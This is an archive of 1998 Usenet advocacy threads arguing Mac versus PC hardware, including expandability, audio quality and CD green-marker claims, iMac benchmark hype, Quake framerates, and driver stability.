>So I guess you built your own house too! Some people don't want the challenges
>of constructing a damn computer!
>
>CJ
Then I hope you enjoy using what others tell you to use. If swapping a
soundcard is really more than you can handle, then that's what you're
going to be doing.
On the facts before us, however, we are inclined to conclude
that the Windows 95/IE package is a genuine integration;
consequently, s IV(E)(i) does not bar Microsoft from offering
it as one product.
United States Court of Appeals
FOR THE DISTRICT OF COLUMBIA CIRCUIT
From: gmgraves@slip.net (George Graves)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Sun, 16 Aug 1998 13:19:12 -0700
Organization: Graves Associates
Message-ID: <gmgraves-1608981319130001@sf-usr1-50-178.dialup.slip.net>
References: <gmgraves-1508982027520001@sf-usr1-46-174.dialup.slip.net> <joe.ragosta-1608980709580001@elk78.dol.net>
In article <joe.ragosta-1608980709580001@elk78.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
>
> OK. I'm not a serious audiophile, so I'll have to take your word for it.
>
> But if I'm willing to concede that vinyl sounds better than CDs for a very
> tiny percentage of people who can discern the difference, will you concede
> that the entire issue is irrelevant since the vast majority of PCs are
> using such cheesy speakers that any of the subtle differences you're
> discussing would never be heard?
Of course.
George Graves
>
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Sun, 16 Aug 1998 20:04:58 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6r7e1a$6kk$1@nnrp1.dejanews.com>
References: <ckoller-0108980911260001@125.san-francisco-04.ca.dial-access.att.net> <macghod-0108981444250001@sdn-ar-001casbarp113.dialsprint.net> <6q14vb$5kn$1@andros.cygnus.com> <35C86ABE.4EE5@genetics.utah.edu> <gmgraves-0608980923010001@sf-usr1-59-187.dialup.slip.net> <35C9C503.2B61@genetics.utah.edu> <joe.ragosta-0708980819190001@wil86.dol.net> <Pine.SOL.3.91.980812093141.2582A-100000@howard.genetics.utah.edu> <gmgraves-1208981500510001@sf-usr1-31-159.dialup.slip.net> <Pine.SOL.3.91.980813114053.21535A-100000@howard.genetics.utah.edu> <gmgraves-1408980720100001@sf-usr1-53-181.dialup.slip.net> <6r23ta$ea2$1@nnrp1.dejanews.com> <asiufy-1508980138510001@200.229.243.200> <6r3nfr$l4g$1@nnrp1.dejanews.com> <gmgraves-1508981139470001@sf-usr1-23-151.dialup.slip.net> <6r5hae$v5l$1@nnrp1.dejanews.com> <macghod-1508982051340001@sdn-ar-001casbarp059.dialsprint.net>
In article <macghod-1508982051340001@sdn-ar-001casbarp059.dialsprint.net>,
macghod@concentric.net (Steve Sullivan) wrote:
> I am not sure if they make monitors and printers. I think sony makes
> their monitors, then apple just adds some apple circuitary to it. Ditto
> with the printer
Apple buys Sony CRTs for their monitors and Canon print engines for the
Stylewriter. I'm not sure what engine they use for the LaserWriters (if they
are still making those). Still, Apple "makes" these peripherals.
Make:
1. To cause to exist; to bring into being; to form; to
produce; to frame; to fashion; to create. Hence, in
various specific uses or applications:
(a) To form of materials; to cause to exist
--
Brian Quinlan
quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
From: drmoss@fox.nstn.ca (drmoss@fox.nstn.ca)
Message-ID: <1ddv5s3.8ckl491e8hryyN@ts1-14.tru.istar.ca>
References: <macghod-0108981444250001@sdn-ar-001casbarp113.dialsprint.net> <6q14vb$5kn$1@andros.cygnus.com> <35C86ABE.4EE5@genetics.utah.edu> <gmgraves-0608980923010001@sf-usr1-59-187.dialup.slip.net> <35C9C503.2B61@genetics.utah.edu> <joe.ragosta-0708980819190001@wil86.dol.net> <Pine.SOL.3.91.980812093141.2582A-100000@howard.genetics.utah.edu> <gmgraves-1208981500510001@sf-usr1-31-159.dialup.slip.net> <Pine.SOL.3.91.980813114053.21535A-100000@howard.genetics.utah.edu> <gmgraves-1408980720100001@sf-usr1-53-181.dialup.slip.net> <6r23ta$ea2$1@nnrp1.dejanews.com> <gmgraves-1408981604470001@sf-pm5-17-81.dialup.slip.net> <6r3bol$7h7$1@nnrp1.dejanews.com> <gmgraves-1508981149210001@sf-usr1-23-151.dialup.slip.net> <6r5gq5$ugi$1@nnrp1.dejanews.com> <gmgraves-1508982006350001@sf-usr1-46-174.dialup.slip.net> <gmgraves-1508982027520001@sf-usr1-46-174.dialup.slip.net> <1ddugzy.11o0xhkylyofoN@ts3-01.tru.istar.ca> <gmgraves-1608981302040001@sf-usr1-50-178.dialup.slip.net>
Organization: The Army of the 12 Monkeys
IP2QtxR"D9n[YsP}rvTeWQ1osE
Date: Sun, 16 Aug 1998 20:03:06 GMT
NNTP-Posting-Date: Sun, 16 Aug 1998 16:03:06 EDT
George Graves <gmgraves@slip.net> wrote:
> > Now to go on to your analogy - if Windows/CD are 'good enough' because
> > they are the de facto standards, and Macintosh/LP are there for those who
> > demand quality, there is one part of the analogy that doesn't hold up.
> > In ease of use surely the mac is equivalent to the CD rather than the
> > LP. Mac users can have better quality and ease of use. Seems daft to
> > choose to use anything else doesn't it?
>
> Well, I wasn't really making a strict analogy between the two. That
> would be specious at best. But your point is certainly well taken.
> The problem is that fussy as a hobby (as in the fussiness of record
> players) is different from fussy because you HAVE TO in order to get
> your work done (as in the fussiness of Windows).
You're right; the ritual of cleaning the LP, putting on the clamp,
lowering the pickup, all with great anticipation, is part of the fun.
Doing it when you don't want to (aka editing system registry files) is
no fun at all.
--
Chris
From: Jonathan W Hendry <jhendry@shrike.depaul.edu>
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy
References: <derekc-1408981231350001@as5300-3-45.roc.ny.frontiernet.net> <6r4rnr$inu$1@plug.news.pipex.net> <macghod-1508982026040001@sdn-ar-001casbarp059.dialsprint.net> <zeno-1608980451300001@pm51-30.magicnet.net> <6r7cfp$4k1$1@nnrp1.dejanews.com>
Message-ID: <35d7455b.0@news.depaul.edu>
Date: 16 Aug 98 20:47:23 GMT
In comp.sys.next.advocacy quinlan@intergate.bc.ca wrote:
> In article <zeno-1608980451300001@pm51-30.magicnet.net>,
> zeno@magicnet.net wrote:
>>The Byte and other benchmarks are saying it. Jobs is just repeating the info.
>Bytemarks are CPU/compiler benchmarks. They don't test the overall performance
>of the machine.
So? It's marketing hype. As long as Apple can back up the statement,
there's no problem.
At least they're not claiming that they put 'fun' into the
damn thing.
--
Note: email to this address goes to /dev/null
To email a reply, write to jon at exnext dot com
Date: Sun, 16 Aug 1998 16:56:49 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Message-ID: <joe.ragosta-1608981656490001@elk59.dol.net>
References: <gmgraves-1508982027520001@sf-usr1-46-174.dialup.slip.net> <joe.ragosta-1608980709580001@elk78.dol.net> <gmgraves-1608981319130001@sf-usr1-50-178.dialup.slip.net>
In article <gmgraves-1608981319130001@sf-usr1-50-178.dialup.slip.net>,
gmgraves@slip.net (George Graves) wrote:
> In article <joe.ragosta-1608980709580001@elk78.dol.net>,
> joe.ragosta@dol.net (Joe Ragosta) wrote:
>
> >
> > OK. I'm not a serious audiophile, so I'll have to take your word for it.
> >
> > But if I'm willing to concede that vinyl sounds better than CDs for a very
> > tiny percentage of people who can discern the difference, will you concede
> > that the entire issue is irrelevant since the vast majority of PCs are
> > using such cheesy speakers that any of the subtle differences you're
> > discussing would never be heard?
>
> Of course.
Good. That matter's settled.
Now, if I could only afford _your_ stereo system. ;-)
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
Date: Sun, 16 Aug 1998 16:58:18 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: CD sound & Green Markers (Was APPLE'S MINDSHARE ...)
Message-ID: <joe.ragosta-1608981658190001@elk59.dol.net>
References: <ckoller-0108980911260001@125.san-francisco-04.ca.dial-access.att.net> <asiufy-1308981150270001@200.229.243.209> <6qvfb8$n1q$1@nnrp1.dejanews.com> <nospam-1408980055000001@dhack1-124.cybernex.net> <6r22ti$bvq$1@nnrp1.dejanews.com> <joe.ragosta-1408981626220001@wil72.dol.net> <6r29nn$3oo$1@camel0.mindspring.com> <gmgraves-1408981630300001@sf-pm5-17-81.dialup.slip.net> <6r2tc6$rob$1@camel29.mindspring.com> <gmgraves-1408982206530001@sf-pm5-7-71.dialup.slip.net> <35d525ad.0@news.depaul.edu> <gmgraves-1508981124460001@sf-usr1-23-151.dialup.slip.net> <6r5ha0$sic$1@camel25.mindspring.com> <35D72295.1D53@bellatlantic.net> <gmgraves-1608981325080001@sf-usr1-50-178.dialup.slip.net>
In article <gmgraves-1608981325080001@sf-usr1-50-178.dialup.slip.net>,
gmgraves@slip.net (George Graves) wrote:
> In article <35D72295.1D53@bellatlantic.net>, dutky@bellatlantic.net wrote:
>
> > Concerning the sound quality of audio CDs, Honathan Hendry
> > wrote (possibly sarcastic):
> > > You need to use a green marker on the edge of the CD.
> >
> > to which George Graves responded:
> > > It helped, believe it or not ... I was part of several
> > > double-blind tests which proved conclusively that the
> > > green marker changed the sound - often for the better.
> >
> > and Jacob Fuller followed up with:
> > > What exactly does the green marker do?
> >
> > If the green marker were applied to the edge of the CD
> > it could easily change the amount of light scattered
> > around on the inside of the CD plastic. The scattered
> > light could be interfering with the CD players ability
> > to identify the binary data on the platter, and the green
> > boundry at the edge could be reducing the amount of scatterd
> > light (the CD use either red or infrared LED lasers, which
> > would be absorbed by a green filter).
> >
> > Now, I have my doubts about this double-blind test, however,
> > since Mr. Graves says that "the green marker changed the
> > sound - often for the better" I deduce that the sound also
> > sometimes changed for the worse.
>
> That is partially corect. It also, in some cases, changed the
> sound not at all.
What I don't understand is how this could affect the sound of a _digital_
medium.
Unless you hypothesize that a significant number of bits were being missed
without the green marker, it doesn't make sense.
George--any ideas?
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
Date: Sun, 16 Aug 1998 16:59:52 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Message-ID: <joe.ragosta-1608981659530001@elk59.dol.net>
References: <ckoller-0108980911260001@125.san-francisco-04.ca.dial-access.att.net> <macghod-0108981444250001@sdn-ar-001casbarp113.dialsprint.net> <6q14vb$5kn$1@andros.cygnus.com> <35C86ABE.4EE5@genetics.utah.edu> <gmgraves-0608980923010001@sf-usr1-59-187.dialup.slip.net> <35C9C503.2B61@genetics.utah.edu> <joe.ragosta-0708980819190001@wil86.dol.net> <Pine.SOL.3.91.980812093141.2582A-100000@howard.genetics.utah.edu> <gmgraves-1208981500510001@sf-usr1-31-159.dialup.slip.net> <Pine.SOL.3.91.980813114053.21535A-100000@howard.genetics.utah.edu> <gmgraves-1408980720100001@sf-usr1-53-181.dialup.slip.net> <6r23ta$ea2$1@nnrp1.dejanews.com> <asiufy-1508980138510001@200.229.243.200> <35d6af93.40724865@news.iafrica.com> <gmgraves-1608981315040001@sf-usr1-50-178.dialup.slip.net>
In article <gmgraves-1608981315040001@sf-usr1-50-178.dialup.slip.net>,
gmgraves@slip.net (George Graves) wrote:
> You're living in the past. No Macs come with 14400 modems any more
> than current PCs come with 14400 modems. Most modern Mac's built in
> "display adapters" are excellent. I took the ATI 24-bit accelerated
> video card out of My Power Computing machine (a 7200 clone) because
> the video supplied on the motherboard was better and faster.
I already related my experience, but it's worth pointing out again.
I purchased a Matrox Millennium II card for my PowerMac 7500. When I
installed it and put in the latest drivers, it was 30% _slower_ than my
7500's onboard video according to MacBench. Screen redraws were visibly
slower.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy
Subject: Re: Solaris is"Free"
Date: 17 Aug 1998 20:01:09 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6ra265$dgg@newsb.netnews.att.com>
References: <35D45C80.38A0C880@ericsson.com> <35D84F6F.DAED08CD@ericsson.com> <6r9spk$d0e@newsb.netnews.att.com> <35D880A3.989DB717@ericsson.com>
Originator: gupta@tlctest
Michael Peck <Michael.Peck@ericsson.com> wrote:
>
>You've been posting all manner of NT hits for the past week or so,
>mostly quoting from periodicals. Fine, I say, you're just quoting,
>whatever the overall slant.
>
>But now I expect you are familiar with the source code behind NT 5.0,
>no? You are just making flippant remarks? Or you actually have intimate
>knowledge of NT 5.0's stability?
I'm posting with the same seriousness and knowledge (or lack thereof)
as you have been about Apple's future, MacOS X, etc.
-arun gupta
From: cquirke@iafrica.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Sun, 16 Aug 1998 21:00:32 GMT
Organization: UUNET Internet Africa
Message-ID: <35d73727.75437413@news.iafrica.com>
References: <ckoller-0108980911260001@125.san-francisco-04.ca.dial-access.att.net> <macghod-0108981444250001@sdn-ar-001casbarp113.dialsprint.net> <6q14vb$5kn$1@andros.cygnus.com> <35C86ABE.4EE5@genetics.utah.edu> <gmgraves-0608980923010001@sf-usr1-59-187.dialup.slip.net> <35C9C503.2B61@genetics.utah.edu> <joe.ragosta-0708980819190001@wil86.dol.net> <Pine.SOL.3.91.980812093141.2582A-100000@howard.genetics.utah.edu> <gmgraves-1208981500510001@sf-usr1-31-159.dialup.slip.net> <Pine.SOL.3.91.980813114053.21535A-100000@howard.genetics.utah.edu> <gmgraves-1408980720100001@sf-usr1-53-181.dialup.slip.net> <6r23ta$ea2$1@nnrp1.dejanews.com> <asiufy-1508980138510001@200.229.243.200> <35d6af93.40724865@news.iafrica.com> <joe.ragosta-1608980805280001@elk78.dol.net>
On Sun, 16 Aug 1998 08:05:28 -0400, joe.ragosta@dol.net (Joe Ragosta)
>In article <35d6af93.40724865@news.iafrica.com>, cquirke@iafrica.com wrote:
>> On Sat, 15 Aug 1998 01:38:22 -0300, asiufy@uol.com.br (Alexandre A.
>> >In article <6r23ta$ea2$1@nnrp1.dejanews.com>, quinlan@intergate.bc.ca wrote:
>If you get a PowerMac G3, you can add PCI cards as well. It's just that
>some people choose a non-expandable computer for the convenience.
Whose convenience - the volume retailer who can't do open case work?
>why pay for something you don't want or need?
Like built-in components you may want to replace?
>> One of the defining things about PCs is that they have had expansion
>> slots from day one. No having to pay a premium for SCSI, no paying
>> extra for the models with PCI slots years after PCI was standard.
>Right. Like not paying for floppy drives if you don't need them.
You mean the iMac? "Let's re-invent the PC by making it even lamer
than Compaq have dared to, so far..." - OK if it's cheap, but if you
can still get a non-lamered PC (monitor you can adjust position or
replace for upgrade/repairs, diskette drive so you can back up at
least some data, expansion slots etc.) for the same price, then it
should be dead in the water.
But it won't be, because the hype will get the lamers snapping 'em up
like popcorn - and spitting them out just as fast when they get to the
hard lumps at the bottom of the packet.
From: cquirke@iafrica.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Sun, 16 Aug 1998 21:00:33 GMT
Organization: UUNET Internet Africa
Message-ID: <35d7388f.75797863@news.iafrica.com>
References: <ckoller-0108980911260001@125.san-francisco-04.ca.dial-access.att.net> <macghod-0108981444250001@sdn-ar-001casbarp113.dialsprint.net> <6q14vb$5kn$1@andros.cygnus.com> <35C86ABE.4EE5@genetics.utah.edu> <gmgraves-0608980923010001@sf-usr1-59-187.dialup.slip.net> <35C9C503.2B61@genetics.utah.edu> <joe.ragosta-0708980819190001@wil86.dol.net> <Pine.SOL.3.91.980812093141.2582A-100000@howard.genetics.utah.edu> <gmgraves-1208981500510001@sf-usr1-31-159.dialup.slip.net> <35e6e291.28365146@news.calweb.com> <asiufy-1308981150270001@200.229.243.209> <6qvfb8$n1q$1@nnrp1.dejanews.com> <nospam-1408980055000001@dhack1-124.cybernex.net> <6r22ti$bvq$1@nnrp1.dejanews.com> <joe.ragosta-1408981626220001@wil72.dol.net> <gmgraves-1408981615570001@sf-pm5-17-81.dialup.slip.net> <1ddt08m.iy03ufidbv0hN@dialup102-2-29.swipnet.se> <gmgraves-1508981132200001@sf-usr1-23-151.dialup.slip.net> <kindall-1508981941230001@nic-c41-094.mw.mediaone.net> <joe.ragosta-1608980706240001@elk78.dol.net>
On Sun, 16 Aug 1998 07:06:23 -0400, joe.ragosta@dol.net (Joe Ragosta)
>That's what's funny about this whole discussion. People bragging about
>their high quality PC sound cards run them through a set of speakers that
>probably sound worse than the home speakers I abandoned 5 years ago.
>Look folks, virtually ANY PC or Mac has better quality sound than your
>speakers can reproduce--unless you spent upwards of $1000 on speakers for
>your PC.
Actually, many users don't use peecee speakers at all, the PC sound
becomes just another input for the hi-fi or studio monitoring system.
After all, render unto Caeser, and PC vendors aren't speaker kings.
>Granted, there are a few professionals who need better quality, but there
>are professional quality sound cards for Macs, as well.
Do you still get stuck with a dud sound card inside the case, that
can't be removed and resold?
Date: Sun, 16 Aug 1998 17:09:31 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII
Message-ID: <joe.ragosta-1608981709310001@elk59.dol.net>
References: <derekc-1408981231350001@as5300-3-45.roc.ny.frontiernet.net> <6r4rnr$inu$1@plug.news.pipex.net> <macghod-1508982026040001@sdn-ar-001casbarp059.dialsprint.net> <zeno-1608980451300001@pm51-30.magicnet.net> <6r7cfp$4k1$1@nnrp1.dejanews.com>
In article <6r7cfp$4k1$1@nnrp1.dejanews.com>, quinlan@intergate.bc.ca wrote:
> In article <zeno-1608980451300001@pm51-30.magicnet.net>,
> zeno@magicnet.net wrote:
>
> > The Byte and other benchmarks are saying it. Jobs is just repeating
the info.
>
> Bytemarks are CPU/compiler benchmarks. They don't test the overall performance
> of the machine.
So what?
Macdhud called Jobs a liar for repeating Bytemarks results.
Jobs may be guilty of overhyping a product based on Bytemarks, but he's
not lying.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Sun, 16 Aug 1998 20:26:09 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6r7f91$904$1@nnrp1.dejanews.com>
References: <ckoller-0108980911260001@125.san-francisco-04.ca.dial-access.att.net> <macghod-0108981444250001@sdn-ar-001casbarp113.dialsprint.net> <6q14vb$5kn$1@andros.cygnus.com> <35C86ABE.4EE5@genetics.utah.edu> <gmgraves-0608980923010001@sf-usr1-59-187.dialup.slip.net> <35C9C503.2B61@genetics.utah.edu> <joe.ragosta-0708980819190001@wil86.dol.net> <Pine.SOL.3.91.980812093141.2582A-100000@howard.genetics.utah.edu> <gmgraves-1208981500510001@sf-usr1-31-159.dialup.slip.net> <Pine.SOL.3.91.980813114053.21535A-100000@howard.genetics.utah.edu> <gmgraves-1408980720100001@sf-usr1-53-181.dialup.slip.net> <6r23ta$ea2$1@nnrp1.dejanews.com> <gmgraves-1408981604470001@sf-pm5-17-81.dialup.slip.net> <6r3bol$7h7$1@nnrp1.dejanews.com> <gmgraves-1508981149210001@sf-usr1-23-151.dialup.slip.net> <6r5gq5$ugi$1@nnrp1.dejanews.com> <gmgraves-1508982006350001@sf-usr1-46-174.dialup.slip.net>
In article <gmgraves-1508982006350001@sf-usr1-46-174.dialup.slip.net>,
gmgraves@slip.net (George Graves) wrote:
> Macs used to come without keyboards.
I know.
> What they have done lately, I
> don't know.
OK. You may want to qualify your statements if you aren't reasonably certain
that they are factual.
> A friend, working at Apple bought an
> 8600 on the employee discount plan and his (and early one to be sure)
> did NOT come with a keyboard.
I can see how you would have thought that sales of early models in Apple's
employee discount plan would be similar to Apple's sales to the average
consumer :-)
--
Brian Quinlan
quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: Sun, 16 Aug 1998 20:15:46 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6r7eli$844$1@nnrp1.dejanews.com>
References: <ckoller-0108980911260001@125.san-francisco-04.ca.dial-access.att.net> <macghod-0108981444250001@sdn-ar-001casbarp113.dialsprint.net> <6q14vb$5kn$1@andros.cygnus.com> <35C86ABE.4EE5@genetics.utah.edu> <gmgraves-0608980923010001@sf-usr1-59-187.dialup.slip.net> <35C9C503.2B61@genetics.utah.edu> <joe.ragosta-0708980819190001@wil86.dol.net> <Pine.SOL.3.91.980812093141.2582A-100000@howard.genetics.utah.edu> <gmgraves-1208981500510001@sf-usr1-31-159.dialup.slip.net> <Pine.SOL.3.91.980813114053.21535A-100000@howard.genetics.utah.edu> <gmgraves-1408980720100001@sf-usr1-53-181.dialup.slip.net> <6r23ta$ea2$1@nnrp1.dejanews.com> <asiufy-1508980138510001@200.229.243.200> <6r3nfr$l4g$1@nnrp1.dejanews.com> <joe.ragosta-1608980712020001@elk78.dol.net>
In article <joe.ragosta-1608980712020001@elk78.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
> Really? Then can you explain why every time NT crashes someone says "you
> must have a bad driver" yet my Mac almost never crashes with a driver
> problem? (The only major exception on the Mac side was that when the hard
> drive formatting software vendors started proliferating a few years ago,
> there were some buggy hard disk drivers, but these were generally fixed
> pretty quickly.
I can't really explain it but I can generate some well informed speculation.
On the Mac side there aren't that many popular peripherals so it is probably
practical to test your hardware (and drivers) with most of the common
products on the market. That way, if you are writting new drivers then you
can be fairly certain that your drivers won't conflict with the drivers of
another product. On the PC side, this would be nearly impossible. There are
too many configuration choices for you to even explore a small subset of
them. On the PC there is probably also more market pressure to get something
shipping even if it isn't fully tested and debugged. Hopefully, a nice
Darwinian process will elimate those vendors.
--
Brian Quinlan
quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: postmaster@[127.0.0.1] (Michael J. Stango)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system,comp.sys.intel
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
Date: 16 Aug 1998 21:26:36 GMT
Organization: AT&T WorldNet Services
Message-ID: <postmaster-ya02408000R1608981726340001@netnews.worldnet.att.net>
References: <ckoller-0108980911260001@125.san-francisco-04.ca.dial-access.att.net> <macghod-0108981444250001@sdn-ar-001casbarp113.dialsprint.net> <6q14vb$5kn$1@andros.cygnus.com> <35C86ABE.4EE5@genetics.utah.edu> <gmgraves-0608980923010001@sf-usr1-59-187.dialup.slip.net> <35C9C503.2B61@genetics.utah.edu> <joe.ragosta-0708980819190001@wil86.dol.net> <Pine.SOL.3.91.980812093141.2582A-100000@howard.genetics.utah.edu> <gmgraves-1208981500510001@sf-usr1-31-159.dialup.slip.net> <Pine.SOL.3.91.980813114053.21535A-100000@howard.genetics.utah.edu> <gmgraves-1408980720100001@sf-usr1-53-181.dialup.slip.net> <6r23ta$ea2$1@nnrp1.dejanews.com> <asiufy-1508980138510001@200.229.243.200> <35d6af93.40724865@news.iafrica.com>
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In article <35d6af93.40724865@news.iafrica.com>, cquirke@iafrica.com wrote:
>One of the defining things about PCs is that they have had expansion
>slots from day one. No having to pay a premium for SCSI, no paying
>extra for the models with PCI slots years after PCI was standard.
Ho hum. One of the defining things about MAcs is that they have almost
everything you need out of the box-- only 'power users' like graphic
designers, etc. *really* need expansion slots.
I've been using Macs for seven years now, and have happily paid extra for
computers that had all the capabilities I needed right out of the box.
I'd rather pay a premium for the hassle-free SCSI I've enjoyed over the
years, than get the PC alternatives on the cheap-- I heard too many stories
from *extremely* computer-literate friends who lost weekends trying to get
new drives recognized. From what I understand, over the last year many PC
users have been paying extra for USB ports that were essentially useless
until Win98 was released last month. Who got the raw deal here?
The first time I installed a card in any Mac I've owned was a video card I
put into my Power Mac 7600 in 1996, so I could keep using two monitors--
something I became accustomed to in 1994 with my Power Mac 6100/60av, which
had that capability *out of the box*.
~Philly
><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><
Michael J. Stango -known as 'mjstango' at his ISP, 'worldnet.att.net'
"In this industry, people are used to treating Microsoft like the
Mafia. You don't say no to the Mafia, you don't challenge the Mafia,
you generally don't [bleep] with the Mafia." --Marc Andreessen
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: alt.destroy.microsoft,alt.microsoft.sucks,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.hardware.misc
Subject: Re: How Fast Is Little iMac? -> Beats EVERY PII
Date: 17 Aug 1998 20:50:03 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6ra51r$dp2@newsb.netnews.att.com>
References: <derekc-1408981231350001@as5300-3-45.roc.ny.frontiernet.net> <6r967u$a27$1@lwnws01.ne.highway1.com> <not-1708981133190001@ip-26-040.phx.primenet.com> <6ra3hc$3no@fridge.shore.net>
Originator: gupta@tlctest
William Frisbee <bfrisbee@fuckspam.webengine-db.com> wrote:
>G3 based at 300MHz
>128 MB ram
>Apple motherboard
>Built in sound
>Built in Video (It is a ATI Rage card)
>SCSI drives and CD-ROM
>Techworks Power3d Voodoo
>
>640x480 no mods Quake FPS 26.3
[repost from comp.arch]
I'm not a Quake player, nor have I ever even seen a demo.
Nevertheless, a cursory scan of the Web and newsgroups shows that
Quake for the Macintosh (and even Quake for PC) is a rather dicey
benchmark.
I offer the following few snippets, quoting from here and there :
****
[from dejanews]
> On the PC side of things, framerate from the 3Dfx card can vary widely.
> There are rather a lot of variables for the 3Dfx card and GLQuake that
> drastically affect framerate. On a PPro 180 running GLQuake under Win95
> I got under 20 fps. With tweaking I managed to get it up to about
> 37fps. Apparently I should be able to get over 50fps using my hardware,
> it'll just take further tweaking. I don't know how many of the settings
> for the 3Dfx will be available through the mac version, but I'm sure you
> can see the wide range of performance.
****
http://stud1.tuwien.ac.at/~e9426444/3dfx/
How 3DfxTweaker works:
The GLIDE library which is used by the operating system to access
the 3Dfx card, is nearly the same for MacOS, Windows, DOS and Linux.
But since the MacOS doesn't have an environment variable scheme like
the other three operationg systems, the GLIDE library for MacOS doesn't
offer the parameter adjustment available for these other operating
systems. 3DfxTweaker tries to offer the same environment variables
that are available for Windows, DOS and Linux in an easy-to-use
application.
It does this by altering parts of the GLIDE library in main memory
(It does NOT alter the GLIDE library on the harddisk !).
****
http://www.astro.wisc.edu/~haffner/MQP.html#3Dfx
3Dfx Tweaker results:
Eric Whitmore gets a performance increase from 26.9 fps to 38.2 fps
in Demo 1. He also comments that:
... if you hold option while starting quake and type "-conwidth 320"
(without quotes) you will get ~1-2 FPS increase in GLQuake.
Niel Max (see his base entry below) gets these results up from his 27.9
fps:
Demo1 at 55Mhz with 0 Swapbuffer interval gets 38.3fps
Demo1 at 57Mhz with 0 Swapbuffer interval gets 39.7fps
Demo1 at 60Mhz with 0 Swapbuffer interval gets 40.7fps
Setting Swapbuffer to 0 gives the biggest performance increase ranging
from 20-40% for most people.
[Niel Max's base entry]
Quake v 1.08.4
604e/233 MHz
80 MB (no VM)
512K L2 cache
Built-in video (4 MB)
+ TechWorks Power3D [a 3dfx card, gets 27.x fps on demo 1 and 2]
etc. etc.
***
-arun gupta
From: rr6013@yahoo.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: APPLE"S MINDSHARE SKYROCKETING!@1!!!!
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References: <macghod-3107981419590001@1cust64.tnt1.santa-barbara.ca.da.uu.net> <ckoller-0108980911260001@125.san-francisco-04.ca.dial-access.att.net>
<macghod-0108981444250001@sdn-ar-001casbarp113.dialsprint.net> <6q14vb$5kn$1@andros.cygnus.com>
<35C86ABE.4EE5@genetics.utah.edu> <gmgraves-0608980923010001@sf-usr1-59-187.dialup.slip.net>
<35C9C503.2B61@genetics.utah.edu> <joe.ragosta-0708980819190001@wil86.dol.net>
<Pine.SOL.3.91.980812093141.2582A-100000@howard.genetics.utah.edu> <gmgraves-1208981500510001@sf-usr1-31-159.dialup.slip.net>
<35e6e291.28365146@news.calweb.com> <asiufy-1308981150270001@200.229.243.209>
<6qvfb8$n1q$1@nnrp1.dejanews.com> <nospam-1408980055000001@dhack1-124.cybernex.net>
